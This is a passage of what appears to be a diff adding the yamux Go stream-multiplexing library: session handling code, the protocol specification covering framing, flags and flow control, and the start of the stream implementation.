GET_ID:
|
||||
// Get an ID, and check for stream exhaustion
|
||||
id := atomic.LoadUint32(&s.nextStreamID)
|
||||
if id >= math.MaxUint32-1 {
|
||||
return nil, ErrStreamsExhausted
|
||||
}
|
||||
if !atomic.CompareAndSwapUint32(&s.nextStreamID, id, id+2) {
|
||||
goto GET_ID
|
||||
}
|
||||
|
||||
// Register the stream
|
||||
stream := newStream(s, id, streamInit)
|
||||
s.streamLock.Lock()
|
||||
s.streams[id] = stream
|
||||
s.inflight[id] = struct{}{}
|
||||
s.streamLock.Unlock()
|
||||
|
||||
if s.config.StreamOpenTimeout > 0 {
|
||||
go s.setOpenTimeout(stream)
|
||||
}
|
||||
|
||||
// Send the window update to create
|
||||
if err := stream.sendWindowUpdate(); err != nil {
|
||||
select {
|
||||
case <-s.synCh:
|
||||
default:
|
||||
s.logger.Printf("[ERR] yamux: aborted stream open without inflight syn semaphore")
|
||||
}
|
||||
return nil, err
|
||||
}
|
||||
return stream, nil
|
||||
}
|
||||
|
||||
// setOpenTimeout implements a timeout for streams that are opened but not established.
|
||||
// If the StreamOpenTimeout is exceeded we assume the peer is unable to ACK,
|
||||
// and close the session.
|
||||
// The number of running timers is bounded by the capacity of the synCh.
|
||||
func (s *Session) setOpenTimeout(stream *Stream) {
|
||||
timer := time.NewTimer(s.config.StreamOpenTimeout)
|
||||
defer timer.Stop()
|
||||
|
||||
select {
|
||||
case <-stream.establishCh:
|
||||
return
|
||||
case <-s.shutdownCh:
|
||||
return
|
||||
case <-timer.C:
|
||||
// Timeout reached while waiting for ACK.
|
||||
// Close the session to force connection re-establishment.
|
||||
s.logger.Printf("[ERR] yamux: aborted stream open (destination=%s): %v", s.RemoteAddr().String(), ErrTimeout.err)
|
||||
s.Close()
|
||||
}
|
||||
}
|
||||
|
||||
// Accept is used to block until the next available stream
|
||||
// is ready to be accepted.
|
||||
func (s *Session) Accept() (net.Conn, error) {
|
||||
conn, err := s.AcceptStream()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return conn, err
|
||||
}
|
||||
|
||||
// AcceptStream is used to block until the next available stream
|
||||
// is ready to be accepted.
|
||||
func (s *Session) AcceptStream() (*Stream, error) {
|
||||
select {
|
||||
case stream := <-s.acceptCh:
|
||||
if err := stream.sendWindowUpdate(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return stream, nil
|
||||
case <-s.shutdownCh:
|
||||
return nil, s.shutdownErr
|
||||
}
|
||||
}
|
||||
|
||||
// AcceptStream is used to block until the next available stream
|
||||
// is ready to be accepted.
|
||||
func (s *Session) AcceptStreamWithContext(ctx context.Context) (*Stream, error) {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return nil, ctx.Err()
|
||||
case stream := <-s.acceptCh:
|
||||
if err := stream.sendWindowUpdate(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return stream, nil
|
||||
case <-s.shutdownCh:
|
||||
return nil, s.shutdownErr
|
||||
}
|
||||
}
|
||||
|
||||
// Close is used to close the session and all streams.
|
||||
// Attempts to send a GoAway before closing the connection.
|
||||
func (s *Session) Close() error {
|
||||
s.shutdownLock.Lock()
|
||||
defer s.shutdownLock.Unlock()
|
||||
|
||||
if s.shutdown {
|
||||
return nil
|
||||
}
|
||||
s.shutdown = true
|
||||
|
||||
s.shutdownErrLock.Lock()
|
||||
if s.shutdownErr == nil {
|
||||
s.shutdownErr = ErrSessionShutdown
|
||||
}
|
||||
s.shutdownErrLock.Unlock()
|
||||
|
||||
close(s.shutdownCh)
|
||||
|
||||
s.conn.Close()
|
||||
<-s.recvDoneCh
|
||||
|
||||
s.streamLock.Lock()
|
||||
defer s.streamLock.Unlock()
|
||||
for _, stream := range s.streams {
|
||||
stream.forceClose()
|
||||
}
|
||||
<-s.sendDoneCh
|
||||
return nil
|
||||
}
|
||||
|
||||
// exitErr is used to handle an error that is causing the
|
||||
// session to terminate.
|
||||
func (s *Session) exitErr(err error) {
|
||||
s.shutdownErrLock.Lock()
|
||||
if s.shutdownErr == nil {
|
||||
s.shutdownErr = err
|
||||
}
|
||||
s.shutdownErrLock.Unlock()
|
||||
s.Close()
|
||||
}
|
||||
|
||||
// GoAway can be used to prevent accepting further
|
||||
// connections. It does not close the underlying conn.
|
||||
func (s *Session) GoAway() error {
|
||||
return s.waitForSend(s.goAway(goAwayNormal), nil)
|
||||
}
|
||||
|
||||
// goAway is used to send a goAway message
|
||||
func (s *Session) goAway(reason uint32) header {
|
||||
atomic.SwapInt32(&s.localGoAway, 1)
|
||||
hdr := header(make([]byte, headerSize))
|
||||
hdr.encode(typeGoAway, 0, 0, reason)
|
||||
return hdr
|
||||
}
|
||||
|
||||
// Ping is used to measure the RTT response time
|
||||
func (s *Session) Ping() (time.Duration, error) {
|
||||
// Get a channel for the ping
|
||||
ch := make(chan struct{})
|
||||
|
||||
// Get a new ping id, mark as pending
|
||||
s.pingLock.Lock()
|
||||
id := s.pingID
|
||||
s.pingID++
|
||||
s.pings[id] = ch
|
||||
s.pingLock.Unlock()
|
||||
|
||||
// Send the ping request
|
||||
hdr := header(make([]byte, headerSize))
|
||||
hdr.encode(typePing, flagSYN, 0, id)
|
||||
if err := s.waitForSend(hdr, nil); err != nil {
|
||||
return 0, err
|
||||
}
|
||||
|
||||
// Wait for a response
|
||||
start := time.Now()
|
||||
select {
|
||||
case <-ch:
|
||||
case <-time.After(s.config.ConnectionWriteTimeout):
|
||||
s.pingLock.Lock()
|
||||
delete(s.pings, id) // Ignore it if a response comes later.
|
||||
s.pingLock.Unlock()
|
||||
return 0, ErrTimeout
|
||||
case <-s.shutdownCh:
|
||||
return 0, ErrSessionShutdown
|
||||
}
|
||||
|
||||
// Compute the RTT
|
||||
return time.Since(start), nil
|
||||
}
|
||||
|
||||
// keepalive is a long running goroutine that periodically does
|
||||
// a ping to keep the connection alive.
|
||||
func (s *Session) keepalive() {
|
||||
for {
|
||||
select {
|
||||
case <-time.After(s.config.KeepAliveInterval):
|
||||
_, err := s.Ping()
|
||||
if err != nil {
|
||||
if err != ErrSessionShutdown {
|
||||
s.logger.Printf("[ERR] yamux: keepalive failed: %v", err)
|
||||
s.exitErr(ErrKeepAliveTimeout)
|
||||
}
|
||||
return
|
||||
}
|
||||
case <-s.shutdownCh:
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// waitForSendErr waits to send a header, checking for a potential shutdown
|
||||
func (s *Session) waitForSend(hdr header, body []byte) error {
|
||||
errCh := make(chan error, 1)
|
||||
return s.waitForSendErr(hdr, body, errCh)
|
||||
}
|
||||
|
||||
// waitForSendErr waits to send a header with optional data, checking for a
|
||||
// potential shutdown. Since there's the expectation that sends can happen
|
||||
// in a timely manner, we enforce the connection write timeout here.
|
||||
func (s *Session) waitForSendErr(hdr header, body []byte, errCh chan error) error {
|
||||
t := timerPool.Get()
|
||||
timer := t.(*time.Timer)
|
||||
timer.Reset(s.config.ConnectionWriteTimeout)
|
||||
defer func() {
|
||||
timer.Stop()
|
||||
select {
|
||||
case <-timer.C:
|
||||
default:
|
||||
}
|
||||
timerPool.Put(t)
|
||||
}()
|
||||
|
||||
ready := &sendReady{Hdr: hdr, Body: body, Err: errCh}
|
||||
select {
|
||||
case s.sendCh <- ready:
|
||||
case <-s.shutdownCh:
|
||||
return ErrSessionShutdown
|
||||
case <-timer.C:
|
||||
return ErrConnectionWriteTimeout
|
||||
}
|
||||
|
||||
bodyCopy := func() {
|
||||
if body == nil {
|
||||
return // A nil body is ignored.
|
||||
}
|
||||
|
||||
// In the event of session shutdown or connection write timeout,
|
||||
// we need to prevent `send` from reading the body buffer after
|
||||
// returning from this function since the caller may re-use the
|
||||
// underlying array.
|
||||
ready.mu.Lock()
|
||||
defer ready.mu.Unlock()
|
||||
|
||||
if ready.Body == nil {
|
||||
return // Body was already copied in `send`.
|
||||
}
|
||||
newBody := make([]byte, len(body))
|
||||
copy(newBody, body)
|
||||
ready.Body = newBody
|
||||
}
|
||||
|
||||
select {
|
||||
case err := <-errCh:
|
||||
return err
|
||||
case <-s.shutdownCh:
|
||||
bodyCopy()
|
||||
return ErrSessionShutdown
|
||||
case <-timer.C:
|
||||
bodyCopy()
|
||||
return ErrConnectionWriteTimeout
|
||||
}
|
||||
}
|
||||
|
||||
// sendNoWait does a send without waiting. Since there's the expectation that
|
||||
// the send happens right here, we enforce the connection write timeout if we
|
||||
// can't queue the header to be sent.
|
||||
func (s *Session) sendNoWait(hdr header) error {
|
||||
t := timerPool.Get()
|
||||
timer := t.(*time.Timer)
|
||||
timer.Reset(s.config.ConnectionWriteTimeout)
|
||||
defer func() {
|
||||
timer.Stop()
|
||||
select {
|
||||
case <-timer.C:
|
||||
default:
|
||||
}
|
||||
timerPool.Put(t)
|
||||
}()
|
||||
|
||||
select {
|
||||
case s.sendCh <- &sendReady{Hdr: hdr}:
|
||||
return nil
|
||||
case <-s.shutdownCh:
|
||||
return ErrSessionShutdown
|
||||
case <-timer.C:
|
||||
return ErrConnectionWriteTimeout
|
||||
}
|
||||
}
|
||||
|
||||
// send is a long running goroutine that sends data
|
||||
func (s *Session) send() {
|
||||
if err := s.sendLoop(); err != nil {
|
||||
s.exitErr(err)
|
||||
}
|
||||
}
|
||||
|
||||
func (s *Session) sendLoop() error {
|
||||
defer close(s.sendDoneCh)
|
||||
var bodyBuf bytes.Buffer
|
||||
for {
|
||||
bodyBuf.Reset()
|
||||
|
||||
select {
|
||||
case ready := <-s.sendCh:
|
||||
// Send a header if ready
|
||||
if ready.Hdr != nil {
|
||||
_, err := s.conn.Write(ready.Hdr)
|
||||
if err != nil {
|
||||
s.logger.Printf("[ERR] yamux: Failed to write header: %v", err)
|
||||
asyncSendErr(ready.Err, err)
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
ready.mu.Lock()
|
||||
if ready.Body != nil {
|
||||
// Copy the body into the buffer to avoid
|
||||
// holding a mutex lock during the write.
|
||||
_, err := bodyBuf.Write(ready.Body)
|
||||
if err != nil {
|
||||
ready.Body = nil
|
||||
ready.mu.Unlock()
|
||||
s.logger.Printf("[ERR] yamux: Failed to copy body into buffer: %v", err)
|
||||
asyncSendErr(ready.Err, err)
|
||||
return err
|
||||
}
|
||||
ready.Body = nil
|
||||
}
|
||||
ready.mu.Unlock()
|
||||
|
||||
if bodyBuf.Len() > 0 {
|
||||
// Send data from a body if given
|
||||
_, err := s.conn.Write(bodyBuf.Bytes())
|
||||
if err != nil {
|
||||
s.logger.Printf("[ERR] yamux: Failed to write body: %v", err)
|
||||
asyncSendErr(ready.Err, err)
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
// No error, successful send
|
||||
asyncSendErr(ready.Err, nil)
|
||||
case <-s.shutdownCh:
|
||||
return nil
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// recv is a long running goroutine that accepts new data
|
||||
func (s *Session) recv() {
|
||||
if err := s.recvLoop(); err != nil {
|
||||
s.exitErr(err)
|
||||
}
|
||||
}
|
||||
|
||||
// Ensure that the index of the handler (typeData/typeWindowUpdate/etc) matches the message type
|
||||
var (
|
||||
handlers = []func(*Session, header) error{
|
||||
typeData: (*Session).handleStreamMessage,
|
||||
typeWindowUpdate: (*Session).handleStreamMessage,
|
||||
typePing: (*Session).handlePing,
|
||||
typeGoAway: (*Session).handleGoAway,
|
||||
}
|
||||
)
|
||||
|
||||
// recvLoop continues to receive data until a fatal error is encountered
|
||||
func (s *Session) recvLoop() error {
|
||||
defer close(s.recvDoneCh)
|
||||
hdr := header(make([]byte, headerSize))
|
||||
for {
|
||||
// Read the header
|
||||
if _, err := io.ReadFull(s.bufRead, hdr); err != nil {
|
||||
if err != io.EOF && !strings.Contains(err.Error(), "closed") && !strings.Contains(err.Error(), "reset by peer") {
|
||||
s.logger.Printf("[ERR] yamux: Failed to read header: %v", err)
|
||||
}
|
||||
return err
|
||||
}
|
||||
|
||||
// Verify the version
|
||||
if hdr.Version() != protoVersion {
|
||||
s.logger.Printf("[ERR] yamux: Invalid protocol version: %d", hdr.Version())
|
||||
return ErrInvalidVersion
|
||||
}
|
||||
|
||||
mt := hdr.MsgType()
|
||||
if mt < typeData || mt > typeGoAway {
|
||||
return ErrInvalidMsgType
|
||||
}
|
||||
|
||||
if err := handlers[mt](s, hdr); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// handleStreamMessage handles either a data or window update frame
|
||||
func (s *Session) handleStreamMessage(hdr header) error {
|
||||
// Check for a new stream creation
|
||||
id := hdr.StreamID()
|
||||
flags := hdr.Flags()
|
||||
if flags&flagSYN == flagSYN {
|
||||
if err := s.incomingStream(id); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
// Get the stream
|
||||
s.streamLock.Lock()
|
||||
stream := s.streams[id]
|
||||
s.streamLock.Unlock()
|
||||
|
||||
// If we do not have a stream, likely we sent a RST
|
||||
if stream == nil {
|
||||
// Drain any data on the wire
|
||||
if hdr.MsgType() == typeData && hdr.Length() > 0 {
|
||||
s.logger.Printf("[WARN] yamux: Discarding data for stream: %d", id)
|
||||
if _, err := io.CopyN(ioutil.Discard, s.bufRead, int64(hdr.Length())); err != nil {
|
||||
s.logger.Printf("[ERR] yamux: Failed to discard data: %v", err)
|
||||
return nil
|
||||
}
|
||||
} else {
|
||||
s.logger.Printf("[WARN] yamux: frame for missing stream: %v", hdr)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// Check if this is a window update
|
||||
if hdr.MsgType() == typeWindowUpdate {
|
||||
if err := stream.incrSendWindow(hdr, flags); err != nil {
|
||||
if sendErr := s.sendNoWait(s.goAway(goAwayProtoErr)); sendErr != nil {
|
||||
s.logger.Printf("[WARN] yamux: failed to send go away: %v", sendErr)
|
||||
}
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// Read the new data
|
||||
if err := stream.readData(hdr, flags, s.bufRead); err != nil {
|
||||
if sendErr := s.sendNoWait(s.goAway(goAwayProtoErr)); sendErr != nil {
|
||||
s.logger.Printf("[WARN] yamux: failed to send go away: %v", sendErr)
|
||||
}
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// handlePing is invokde for a typePing frame
|
||||
func (s *Session) handlePing(hdr header) error {
|
||||
flags := hdr.Flags()
|
||||
pingID := hdr.Length()
|
||||
|
||||
// Check if this is a query, respond back in a separate context so we
|
||||
// don't interfere with the receiving thread blocking for the write.
|
||||
if flags&flagSYN == flagSYN {
|
||||
go func() {
|
||||
hdr := header(make([]byte, headerSize))
|
||||
hdr.encode(typePing, flagACK, 0, pingID)
|
||||
if err := s.sendNoWait(hdr); err != nil {
|
||||
s.logger.Printf("[WARN] yamux: failed to send ping reply: %v", err)
|
||||
}
|
||||
}()
|
||||
return nil
|
||||
}
|
||||
|
||||
// Handle a response
|
||||
s.pingLock.Lock()
|
||||
ch := s.pings[pingID]
|
||||
if ch != nil {
|
||||
delete(s.pings, pingID)
|
||||
close(ch)
|
||||
}
|
||||
s.pingLock.Unlock()
|
||||
return nil
|
||||
}
|
||||
|
||||
// handleGoAway is invokde for a typeGoAway frame
|
||||
func (s *Session) handleGoAway(hdr header) error {
|
||||
code := hdr.Length()
|
||||
switch code {
|
||||
case goAwayNormal:
|
||||
atomic.SwapInt32(&s.remoteGoAway, 1)
|
||||
case goAwayProtoErr:
|
||||
s.logger.Printf("[ERR] yamux: received protocol error go away")
|
||||
return fmt.Errorf("yamux protocol error")
|
||||
case goAwayInternalErr:
|
||||
s.logger.Printf("[ERR] yamux: received internal error go away")
|
||||
return fmt.Errorf("remote yamux internal error")
|
||||
default:
|
||||
s.logger.Printf("[ERR] yamux: received unexpected go away")
|
||||
return fmt.Errorf("unexpected go away received")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// incomingStream is used to create a new incoming stream
|
||||
func (s *Session) incomingStream(id uint32) error {
|
||||
// Reject immediately if we are doing a go away
|
||||
if atomic.LoadInt32(&s.localGoAway) == 1 {
|
||||
hdr := header(make([]byte, headerSize))
|
||||
hdr.encode(typeWindowUpdate, flagRST, id, 0)
|
||||
return s.sendNoWait(hdr)
|
||||
}
|
||||
|
||||
// Allocate a new stream
|
||||
stream := newStream(s, id, streamSYNReceived)
|
||||
|
||||
s.streamLock.Lock()
|
||||
defer s.streamLock.Unlock()
|
||||
|
||||
// Check if stream already exists
|
||||
if _, ok := s.streams[id]; ok {
|
||||
s.logger.Printf("[ERR] yamux: duplicate stream declared")
|
||||
if sendErr := s.sendNoWait(s.goAway(goAwayProtoErr)); sendErr != nil {
|
||||
s.logger.Printf("[WARN] yamux: failed to send go away: %v", sendErr)
|
||||
}
|
||||
return ErrDuplicateStream
|
||||
}
|
||||
|
||||
// Register the stream
|
||||
s.streams[id] = stream
|
||||
|
||||
// Check if we've exceeded the backlog
|
||||
select {
|
||||
case s.acceptCh <- stream:
|
||||
return nil
|
||||
default:
|
||||
// Backlog exceeded! RST the stream
|
||||
s.logger.Printf("[WARN] yamux: backlog exceeded, forcing connection reset")
|
||||
delete(s.streams, id)
|
||||
hdr := header(make([]byte, headerSize))
|
||||
hdr.encode(typeWindowUpdate, flagRST, id, 0)
|
||||
return s.sendNoWait(hdr)
|
||||
}
|
||||
}
|
||||
|
||||
// closeStream is used to close a stream once both sides have
|
||||
// issued a close. If there was an in-flight SYN and the stream
|
||||
// was not yet established, then this will give the credit back.
|
||||
func (s *Session) closeStream(id uint32) {
|
||||
s.streamLock.Lock()
|
||||
if _, ok := s.inflight[id]; ok {
|
||||
select {
|
||||
case <-s.synCh:
|
||||
default:
|
||||
s.logger.Printf("[ERR] yamux: SYN tracking out of sync")
|
||||
}
|
||||
}
|
||||
delete(s.streams, id)
|
||||
s.streamLock.Unlock()
|
||||
}
|
||||
|
||||
// establishStream is used to mark a stream that was in the
|
||||
// SYN Sent state as established.
|
||||
func (s *Session) establishStream(id uint32) {
|
||||
s.streamLock.Lock()
|
||||
if _, ok := s.inflight[id]; ok {
|
||||
delete(s.inflight, id)
|
||||
} else {
|
||||
s.logger.Printf("[ERR] yamux: established stream without inflight SYN (no tracking entry)")
|
||||
}
|
||||
select {
|
||||
case <-s.synCh:
|
||||
default:
|
||||
s.logger.Printf("[ERR] yamux: established stream without inflight SYN (didn't have semaphore)")
|
||||
}
|
||||
s.streamLock.Unlock()
|
||||
}
|
||||
+140
@@ -0,0 +1,140 @@
|
||||
# Specification
|
||||
|
||||
We use this document to detail the internal specification of Yamux.
|
||||
This is used both as a guide for implementing Yamux, but also for
|
||||
alternative interoperable libraries to be built.
|
||||
|
||||
# Framing
|
||||
|
||||
Yamux uses a streaming connection underneath, but imposes a message
|
||||
framing so that it can be shared between many logical streams. Each
|
||||
frame contains a header like:
|
||||
|
||||
* Version (8 bits)
|
||||
* Type (8 bits)
|
||||
* Flags (16 bits)
|
||||
* StreamID (32 bits)
|
||||
* Length (32 bits)
|
||||
|
||||
This means that each header has a 12 byte overhead.
|
||||
All fields are encoded in network order (big endian).
|
||||
Each field is described below:
|
||||
|
||||
## Version Field
|
||||
|
||||
The version field is used for future backward compatibility. At the
|
||||
current time, the field is always set to 0, to indicate the initial
|
||||
version.
|
||||
|
||||
## Type Field
|
||||
|
||||
The type field is used to switch the frame message type. The following
|
||||
message types are supported:
|
||||
|
||||
* 0x0 Data - Used to transmit data. May transmit zero length payloads
|
||||
depending on the flags.
|
||||
|
||||
* 0x1 Window Update - Used to updated the senders receive window size.
|
||||
This is used to implement per-session flow control.
|
||||
|
||||
* 0x2 Ping - Used to measure RTT. It can also be used to heart-beat
|
||||
and do keep-alives over TCP.
|
||||
|
||||
* 0x3 Go Away - Used to close a session.
|
||||
|
||||
## Flag Field
|
||||
|
||||
The flags field is used to provide additional information related
|
||||
to the message type. The following flags are supported:
|
||||
|
||||
* 0x1 SYN - Signals the start of a new stream. May be sent with a data or
|
||||
window update message. Also sent with a ping to indicate outbound.
|
||||
|
||||
* 0x2 ACK - Acknowledges the start of a new stream. May be sent with a data
|
||||
or window update message. Also sent with a ping to indicate response.
|
||||
|
||||
* 0x4 FIN - Performs a half-close of a stream. May be sent with a data
|
||||
message or window update.
|
||||
|
||||
* 0x8 RST - Reset a stream immediately. May be sent with a data or
|
||||
window update message.
|
||||
|
||||
## StreamID Field
|
||||
|
||||
The StreamID field is used to identify the logical stream the frame
|
||||
is addressing. The client side should use odd ID's, and the server even.
|
||||
This prevents any collisions. Additionally, the 0 ID is reserved to represent
|
||||
the session.
|
||||
|
||||
Both Ping and Go Away messages should always use the 0 StreamID.
|
||||
|
||||
## Length Field
|
||||
|
||||
The meaning of the length field depends on the message type:
|
||||
|
||||
* Data - provides the length of bytes following the header
|
||||
* Window update - provides a delta update to the window size
|
||||
* Ping - Contains an opaque value, echoed back
|
||||
* Go Away - Contains an error code
|
||||
|
||||
# Message Flow
|
||||
|
||||
There is no explicit connection setup, as Yamux relies on an underlying
|
||||
transport to be provided. However, there is a distinction between client
|
||||
and server side of the connection.
|
||||
|
||||
## Opening a stream
|
||||
|
||||
To open a stream, an initial data or window update frame is sent
|
||||
with a new StreamID. The SYN flag should be set to signal a new stream.
|
||||
|
||||
The receiver must then reply with either a data or window update frame
|
||||
with the StreamID along with the ACK flag to accept the stream or with
|
||||
the RST flag to reject the stream.
|
||||
|
||||
Because we are relying on the reliable stream underneath, a connection
|
||||
can begin sending data once the SYN flag is sent. The corresponding
|
||||
ACK does not need to be received. This is particularly well suited
|
||||
for an RPC system where a client wants to open a stream and immediately
|
||||
fire a request without waiting for the RTT of the ACK.
|
||||
|
||||
This does introduce the possibility of a connection being rejected
|
||||
after data has been sent already. This is a slight semantic difference
|
||||
from TCP, where the connection cannot be refused after it is opened.
|
||||
Clients should be prepared to handle this by checking for an error
|
||||
that indicates a RST was received.
|
||||
|
||||
## Closing a stream
|
||||
|
||||
To close a stream, either side sends a data or window update frame
|
||||
along with the FIN flag. This does a half-close indicating the sender
|
||||
will send no further data.
|
||||
|
||||
Once both sides have closed the connection, the stream is closed.
|
||||
|
||||
Alternatively, if an error occurs, the RST flag can be used to
|
||||
hard close a stream immediately.
|
||||
|
||||
## Flow Control
|
||||
|
||||
When Yamux is initially starts each stream with a 256KB window size.
|
||||
There is no window size for the session.
|
||||
|
||||
To prevent the streams from stalling, window update frames should be
|
||||
sent regularly. Yamux can be configured to provide a larger limit for
|
||||
windows sizes. Both sides assume the initial 256KB window, but can
|
||||
immediately send a window update as part of the SYN/ACK indicating a
|
||||
larger window.
|
||||
|
||||
Both sides should track the number of bytes sent in Data frames
|
||||
only, as only they are tracked as part of the window size.
|
||||
|
||||
## Session termination
|
||||
|
||||
When a session is being terminated, the Go Away message should
|
||||
be sent. The Length should be set to one of the following to
|
||||
provide an error code:
|
||||
|
||||
* 0x0 Normal termination
|
||||
* 0x1 Protocol error
|
||||
* 0x2 Internal error
|
||||
+556
@@ -0,0 +1,556 @@
|
||||
package yamux
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"errors"
|
||||
"io"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
)
|
||||
|
||||
type streamState int
|
||||
|
||||
const (
|
||||
streamInit streamState = iota
|
||||
streamSYNSent
|
||||
streamSYNReceived
|
||||
streamEstablished
|
||||
streamLocalClose
|
||||
streamRemoteClose
|
||||
streamClosed
|
||||
streamReset
|
||||
)
|
||||
|
||||
// Stream is used to represent a logical stream
|
||||
// within a session.
|
||||
type Stream struct {
|
||||
recvWindow uint32
|
||||
sendWindow uint32
|
||||
|
||||
id uint32
|
||||
session *Session
|
||||
|
||||
state streamState
|
||||
stateLock sync.Mutex
|
||||
|
||||
recvBuf *bytes.Buffer
|
||||
recvLock sync.Mutex
|
||||
|
||||
controlHdr header
|
||||
controlErr chan error
|
||||
controlHdrLock sync.Mutex
|
||||
|
||||
sendHdr header
|
||||
sendErr chan error
|
||||
sendLock sync.Mutex
|
||||
|
||||
recvNotifyCh chan struct{}
|
||||
sendNotifyCh chan struct{}
|
||||
|
||||
readDeadline atomic.Value // time.Time
|
||||
writeDeadline atomic.Value // time.Time
|
||||
|
||||
// establishCh is notified if the stream is established or being closed.
|
||||
establishCh chan struct{}
|
||||
|
||||
// closeTimer is set with stateLock held to honor the StreamCloseTimeout
|
||||
// setting on Session.
|
||||
closeTimer *time.Timer
|
||||
}
|
||||
|
||||
// newStream is used to construct a new stream within
|
||||
// a given session for an ID
|
||||
func newStream(session *Session, id uint32, state streamState) *Stream {
|
||||
s := &Stream{
|
||||
id: id,
|
||||
session: session,
|
||||
state: state,
|
||||
controlHdr: header(make([]byte, headerSize)),
|
||||
controlErr: make(chan error, 1),
|
||||
sendHdr: header(make([]byte, headerSize)),
|
||||
sendErr: make(chan error, 1),
|
||||
recvWindow: initialStreamWindow,
|
||||
sendWindow: initialStreamWindow,
|
||||
recvNotifyCh: make(chan struct{}, 1),
|
||||
sendNotifyCh: make(chan struct{}, 1),
|
||||
establishCh: make(chan struct{}, 1),
|
||||
}
|
||||
s.readDeadline.Store(time.Time{})
|
||||
s.writeDeadline.Store(time.Time{})
|
||||
return s
|
||||
}
|
||||
|
||||
// Session returns the associated stream session
|
||||
func (s *Stream) Session() *Session {
|
||||
return s.session
|
||||
}
|
||||
|
||||
// StreamID returns the ID of this stream
|
||||
func (s *Stream) StreamID() uint32 {
|
||||
return s.id
|
||||
}
|
||||
|
||||
// Read is used to read from the stream
|
||||
func (s *Stream) Read(b []byte) (n int, err error) {
|
||||
defer asyncNotify(s.recvNotifyCh)
|
||||
START:
|
||||
|
||||
// If the stream is closed and there's no data buffered, return EOF
|
||||
s.stateLock.Lock()
|
||||
switch s.state {
|
||||
case streamLocalClose:
|
||||
// LocalClose only prohibits further local writes. Handle reads normally.
|
||||
case streamRemoteClose:
|
||||
fallthrough
|
||||
case streamClosed:
|
||||
s.recvLock.Lock()
|
||||
if s.recvBuf == nil || s.recvBuf.Len() == 0 {
|
||||
s.recvLock.Unlock()
|
||||
s.stateLock.Unlock()
|
||||
return 0, io.EOF
|
||||
}
|
||||
s.recvLock.Unlock()
|
||||
case streamReset:
|
||||
s.stateLock.Unlock()
|
||||
return 0, ErrConnectionReset
|
||||
}
|
||||
s.stateLock.Unlock()
|
||||
|
||||
// If there is no data available, block
|
||||
s.recvLock.Lock()
|
||||
if s.recvBuf == nil || s.recvBuf.Len() == 0 {
|
||||
s.recvLock.Unlock()
|
||||
goto WAIT
|
||||
}
|
||||
|
||||
// Read any bytes
|
||||
n, _ = s.recvBuf.Read(b)
|
||||
s.recvLock.Unlock()
|
||||
|
||||
// Send a window update potentially
|
||||
err = s.sendWindowUpdate()
|
||||
if err == ErrSessionShutdown {
|
||||
err = nil
|
||||
}
|
||||
return n, err
|
||||
|
||||
WAIT:
|
||||
var timeout <-chan time.Time
|
||||
var timer *time.Timer
|
||||
readDeadline := s.readDeadline.Load().(time.Time)
|
||||
if !readDeadline.IsZero() {
|
||||
delay := time.Until(readDeadline)
|
||||
timer = time.NewTimer(delay)
|
||||
timeout = timer.C
|
||||
}
|
||||
select {
|
||||
case <-s.session.shutdownCh:
|
||||
case <-s.recvNotifyCh:
|
||||
case <-timeout:
|
||||
return 0, ErrTimeout
|
||||
}
|
||||
if timer != nil {
|
||||
if !timer.Stop() {
|
||||
<-timeout
|
||||
}
|
||||
}
|
||||
goto START
|
||||
}
|
||||
|
||||
// Write is used to write to the stream
|
||||
func (s *Stream) Write(b []byte) (n int, err error) {
|
||||
s.sendLock.Lock()
|
||||
defer s.sendLock.Unlock()
|
||||
total := 0
|
||||
for total < len(b) {
|
||||
n, err := s.write(b[total:])
|
||||
total += n
|
||||
if err != nil {
|
||||
return total, err
|
||||
}
|
||||
}
|
||||
return total, nil
|
||||
}
|
||||
|
||||
// write is used to write to the stream, may return on
|
||||
// a short write.
|
||||
func (s *Stream) write(b []byte) (n int, err error) {
|
||||
var flags uint16
|
||||
var max uint32
|
||||
var body []byte
|
||||
START:
|
||||
s.stateLock.Lock()
|
||||
switch s.state {
|
||||
case streamLocalClose:
|
||||
fallthrough
|
||||
case streamClosed:
|
||||
s.stateLock.Unlock()
|
||||
return 0, ErrStreamClosed
|
||||
case streamReset:
|
||||
s.stateLock.Unlock()
|
||||
return 0, ErrConnectionReset
|
||||
}
|
||||
s.stateLock.Unlock()
|
||||
|
||||
// If there is no data available, block
|
||||
window := atomic.LoadUint32(&s.sendWindow)
|
||||
if window == 0 {
|
||||
goto WAIT
|
||||
}
|
||||
|
||||
// Determine the flags if any
|
||||
flags = s.sendFlags()
|
||||
|
||||
// Send up to our send window
|
||||
max = min(window, uint32(len(b)))
|
||||
body = b[:max]
|
||||
|
||||
// Send the header
|
||||
s.sendHdr.encode(typeData, flags, s.id, max)
|
||||
if err = s.session.waitForSendErr(s.sendHdr, body, s.sendErr); err != nil {
|
||||
if errors.Is(err, ErrSessionShutdown) || errors.Is(err, ErrConnectionWriteTimeout) {
|
||||
// Message left in ready queue, header re-use is unsafe.
|
||||
s.sendHdr = header(make([]byte, headerSize))
|
||||
}
|
||||
return 0, err
|
||||
}
|
||||
|
||||
// Reduce our send window
|
||||
atomic.AddUint32(&s.sendWindow, ^uint32(max-1))
|
||||
|
||||
// Unlock
|
||||
return int(max), err
|
||||
|
||||
WAIT:
|
||||
var timeout <-chan time.Time
|
||||
var timer *time.Timer
|
||||
writeDeadline := s.writeDeadline.Load().(time.Time)
|
||||
if !writeDeadline.IsZero() {
|
||||
delay := time.Until(writeDeadline)
|
||||
timer = time.NewTimer(delay)
|
||||
timeout = timer.C
|
||||
}
|
||||
select {
|
||||
case <-s.session.shutdownCh:
|
||||
case <-s.sendNotifyCh:
|
||||
case <-timeout:
|
||||
return 0, ErrTimeout
|
||||
